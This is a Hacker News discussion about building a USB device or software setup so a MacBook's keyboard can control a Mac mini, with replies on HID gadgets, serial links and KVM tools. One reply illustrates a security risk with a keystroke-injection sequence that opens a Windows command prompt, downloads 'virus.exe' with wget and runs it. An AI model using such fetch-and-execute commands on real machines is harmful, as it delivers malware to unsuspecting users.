upvote
Ask HN: Advice for creating a USB device linking 2 computers
With the right hardware, there are even ways to do this just by configuring the laptop's USB port into gadget mode and then... plugging it in.

https://xairy.io/articles/thinkpad-xdci

reply
You could do this with a couple of TI MSP-EXP430F5529LP boards (<$16 each from Digikey). They include demo code with HID features. I've used this platform extensively, but I never used the USB features for anything other than a JTAG interface for development. I once recommended it to a friend with no embedded development experience, and he had his own custom "mouse jiggler" up and working in one day.

https://www.digikey.com/en/products/detail/texas-instruments...

Alternatively, the newer ESP32-S3 boards (<$6 each) have dual USB-C interfaces, so you could do it with only one (smaller) card instead of two. Development might take longer though.

https://www.amazon.com/dp/B0CN4789XC

If you want to allow a network connection between the two computers, you could load soft-KVM software on each, and go from there.

https://goinglinux.com/open-source-cross-platform-kvm-softwa...

reply
Easy way is probably two usb-serial dongles and a null modem, if you don't need huge amounts of throughput.
reply
Thanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?
reply
Of course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.

The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.

reply
No. You're just sending bits down a wired connection.
reply
Two ethernet dongles would not require a special cable.
reply
Get two FTDI FT232RL chips, connect them together on serial side (RXD->TXD, TXD->RXD, GND<->GND). Plug into USB ports of your computers, run terminals (or any other software that supports serial I/O), send/receive data. Can use XYZModem to send files, PPP for TCP/IP networking, etc. No programming involved. Cheap as hell.
reply
You can use two arduinos and connect them in such a way they are talking through the GPIO ports to each other.

You could do something similar with a couple of Raspberry Pi's or RPI nanos. It doesn't really matter as both can be configured as USB devices and to access their GPIO ports.

The trick is getting them to act as a USB device and then to have them send data over the GPIO ports.

Fortunately I don't think either of those should be super hard.

reply
Would a KVM switch do what you need? Or virtualizing the second machine's usb port in some way? Is there any kind of existing IPMI/ILO/etc functionality in the target machine that you could use?

If not: You need something that can act as a usb "device" (the "host" and "device" sides of a usb connection are very different). A search for "usb keyboard emulator" turns up a lot of projects in that area. I'm not sure you're going to get much simpler than a pi-zero or teensy, unless you can find someone selling a pre built device that meets your needs.

If you're lucky, your laptop has a usb port that can be configured to take the "device" role instead of the usual "host" role. In that case you could probably build a software-only solution using the Linux usb "gadget" framework to make that port act like a keyboard when attached to the target's usb port.

reply
Probably not the cheapest nor the easiest way, but take a look at Cynthion: https://greatscottgadgets.com/cynthion/

On the hardware side, it probably has what you need (and more).

reply
Sounds like a cool project, but you may find that using SSH or RealVNC to be a bit easier and cheaper.

ChatGPT isn't wrong - this sounds like what you need: https://pypi.org/project/zero-hid/.

reply
Thanks for your thoughts. I agree that using software would be easier, but I wanted to do it in hardware in this specific case.

I am unfamiliar with Raspberry pi, but if my understanding is correct, it's running a real os. So I would need to send it a command to actually shut down every time I want to remove the usb device. More generally, having a general purpose OS on the little device seems overkill for that use case, no?

reply
I'm confused, why do you want hardware and what do you want the hardware to do? And, why not use a USB keyboard?

You could use an rpi pico. It has a usb port and there is a software hack to bit bang a second usb port, iirc.

reply
I am wondering if connecting over USB is an XY problem.
reply
To try and clarify a bit: I am essentially trying to have a KM (KVM without the V) over USB.

To go one step higher, I am trying to control a mac mini from the keyboard of a macBook.

reply
Why not use the macs’ built in “sharing” functionality?
reply
It usually runs a Debian based image. And you would probably just have to reboot the script, or write a wrapper around the keyboard functions.

But yes, it's overkill for an overkill solution. Buying another keyboard may be easier.

reply
The destination computer reads a file (of keystrokes) on a USB at a mount point, like every few seconds. The source computer writes to the same file.

After each newline, you are the "device" in the middle that unplugs the USB from the source computer and plugs it in to the destination computer.

Now we want to automate the middle, but without networking. How to do that?

See also Logitech Flow keyboard (and mouse). After each batch of commands, communicate via the shared clipboard.

reply
Two USB to serial converters and a null modem. Why make it hard?
reply
Raspberry Pi definitely works! I have a project you can take a look at; you'll have to modify it slightly since you want a keyboard rather than a joystick, but they're both HID so the majority of it should work pretty much out of the box: https://github.com/saulrh/composite-joystick.
reply
How cool is this?
reply
Get two microcontrollers with USBD peripheral and connect them using SPI or UART. Write two firmwares for these microcontrollers. Probably two Raspberry Pi Picos would be the easiest way to implement that project.

You also might want to use optical isolators between these microcontrollers, instead of wiring them directly. Just connecting grounds might be wrong, because different computers might have different grounds.

reply
> but as far as I can see, there's no arduino with 2 usb ports.

2 arduinos with a serial link between them.

reply
There are ST Micro parts with two USB ports that can can both be devices. I'm not sure the implications of powering them both at once. Look at STM32F407/417.

It might be simpler to get 2 microcontrollers and establish a communication link between them. Something like Arduino (Nano or even smaller third party boards), or Teensy would be suitable for this kind of setup.

reply
KVM over IP?

Using Zig to Unit-Test a C Application (2023) - https://mtlynch.io/notes/zig-unit-test-c/

reply
Thanks, but I want to avoid IP. I want a system that does not go via the network at all.
reply
Intuitively, connecting two computers over USB seems like it should be easy.

The reason it is not simple is USB is asymmetric. There’s one host and multiple clients. And computers are approximately always built as hosts.

But if you are going to add hardware, a pair of usb network adapters (wired (or wireless)) has the same architecture.

And you won’t have custom software below the application layer. Good luck.

reply
I don't think you can tackle this purely from a hardware side. If you want to send input from the laptop to another system, there's no kind of USB profile available to collect input from a system.

You're going to need software on the laptop to gather the input. That seems necessary. You're not going to invent a purely hardware based solution here.

Given that, I'd abandon your starting requirement of needing two usb device ports. That doesn't seem to help you out here, doesn't actually buy you much.

I'd look at the field of existing software out there that can ship input between systems. Use ethernet, wifi, or BT for connectivity if possible (perhaps via usb-ethernet adapters which are very cheap!), and if absolutely required you can build a little rpi-zero with a usb-gadget to act like a virtual keyboard. https://github.com/input-leap/input-leap https://github.com/feschber/lan-mouse https://github.com/lkundrak/btkbdd

reply
That's absolutely fair, and I am fine with writing software for both computers. However, I need this software to not go via the network at all.
reply
I'd still 100% recommend using ethernet, with two usb<->ethernet adapters on each end and a cable in-between to direct link the two. It's the most standard easiest to acquire way to link two computers, and it doesn't require any other network to work. Using more bespoke hardware is only going to make this more difficult. Using usb<->serial would also be acceptable I suppose, and require a little less configuration effort, but adapting software to use this is going to be much harder when the existing software is so IP oriented. Whatever the case, having off the shelf connectivity seems like such a win, and I continue to dis-recommend building anything yourself: this is/ought be mostly a software problem.

The one carve out I'd make: if you want to minimize the configuration at the target device, it ought be possible to make a rpi0 device that outputs a usb-gadget keyboard. Continue using one of these IP based software systems to send input to the rpi0, then usb-gadget it out to the target device.

The btkbdd project also might be up your alley: if the target system has bluetooth or can have a (very cheap!) usb<->bluetooth adapter added, making the laptop just send a bluetooth HID to the other device is probably one of the lowest configuration most standard paths available for this work.

reply
Thanks for your thoughts. That all sound fair.

I am fine with having quite a bit of configuration on the target device (I am fine with configuration on both sides).

> it ought be possible to make a rpi0 device that outputs a usb-gadget keyboard

I like very much the idea of being able to make the host side (macBook) appear as a usb-gadget keyboard. That way I would just need to plug a single usb cable between the 2 computers. Could you give me a few pointers to get started, to do this on macOS?

reply
I believe the search keyword for what you're looking for is probably "IP KVM".
reply
You know, looking back at this eight hours later, I realize that this post sounds way worse than I intended. I was attempting to signal my own epistemic uncertainty, not imply sarcastic dismissal. Sorry. :/
reply
It sounds like you might want a device like a Bash Bunny or Rubber Ducky?
reply
Well, nothing malicious, and it would be to use between 2 of my own computers.
reply
They’re marketed and sold as pentesting devices but there’s no reason why somebody couldn’t use HID emulation to automate some boring IT tasks.

I’m curious about your use case. You have a server that you can’t ssh/vnc/rdp into, it has an open usb port, and using an $8 keyboard is a no-go?

Edit: If you ignore all the hacking language, it kind of looks like an O.MG Plug might accomplish what you’re looking for. https://shop.hak5.org/products/omg-plug

reply
Most keyboards run on standard ARM chips and firmware is a mini OS. Check out one of open source keyboard firmwares and you can adapt related code to run on your laptop and pretend to be keyboard over USB port. If you run Linux on laptop you maybe don't even need separate device.
reply